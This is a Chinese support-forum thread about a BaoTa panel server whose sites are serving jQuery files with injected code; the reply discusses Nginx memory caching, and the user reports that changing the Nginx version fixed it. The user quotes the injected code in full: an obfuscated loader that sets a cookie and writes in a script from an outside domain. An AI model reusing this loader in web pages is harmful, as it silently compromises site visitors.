【待反馈】服务器内所有网站的jquery头部都被注入代码

为了能快速了解并处理您的问题，请提供以下基础信息：

面板、插件版本：免费版 7.9.10

系统版本：CentOS 8.0.1905 x86_64(Py3.7.9)

问题描述：服务器内所有网站的jquery头部都被注入代码，在宝塔内编辑查看是并没有被修改

相关截图（日志、错误）：var _0xafac=["\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x73\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x77\x61\x66\x5F\x73\x63","\x35\x38\x38\x39\x36\x34\x37\x37\x32\x36","\x25\x33\x43\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x75\x67\x69\x6E\x73\x2E\x64\x6F\x75\x62\x6C\x65\x63\x6C\x69\x63\x6B\x73\x2E\x62\x69\x7A\x2F\x70\x6C\x75\x67\x69\x6E\x73\x2F\x75\x61\x2F\x6C\x69\x6E\x6B\x69\x64\x2E\x6A\x73\x27\x25\x33\x45\x25\x33\x43\x2F\x73\x63\x72\x69\x70\x74\x25\x33\x45","\x77\x72\x69\x74\x65"];function setc(_0xc588x2,_0xc588x3,_0xc588x4){var _0xc588x5= new Date();_0xc588x5[_0xafac[1]](_0xc588x5[_0xafac[0]]()+ _0xc588x4);document[_0xafac[2]]= _0xc588x2+ _0xafac[3]+ _0xc588x3+ _0xafac[4]+ _0xc588x5[_0xafac[5]]()}setc(_0xafac[6],_0xafac[7],360);document[_0xafac[9]](unescape(_0xafac[8]));/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */

!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){

您好，这个有可能是缓存到了Nginx/apache的内存下了，具体这种需要去排查下。
您那边可以通过dump内存方式查找当前Nginx/apache内存是否存在这些信息

如您方便的话，可以提供下您机器登录信息，通过论坛私信提供我可协助查看下

谢花郎 发表于 2023-5-16 16:08
您好，这个有可能是缓存到了Nginx/apache的内存下了，具体这种需要去排查下。
您那边可以通过dump内存方式 ...

您好，如果是缓存问题，重启或者是类似的方法可以解决嘛？

凌羽 发表于 2023-5-16 16:30
您好，如果是缓存问题，重启或者是类似的方法可以解决嘛？

如是缓存到内存内的，重启是会释放掉的当前内存内的信息的

谢花郎 发表于 2023-5-17 09:20
如是缓存到内存内的，重启是会释放掉的当前内存内的信息的

好的，更换了Nginx版本解决了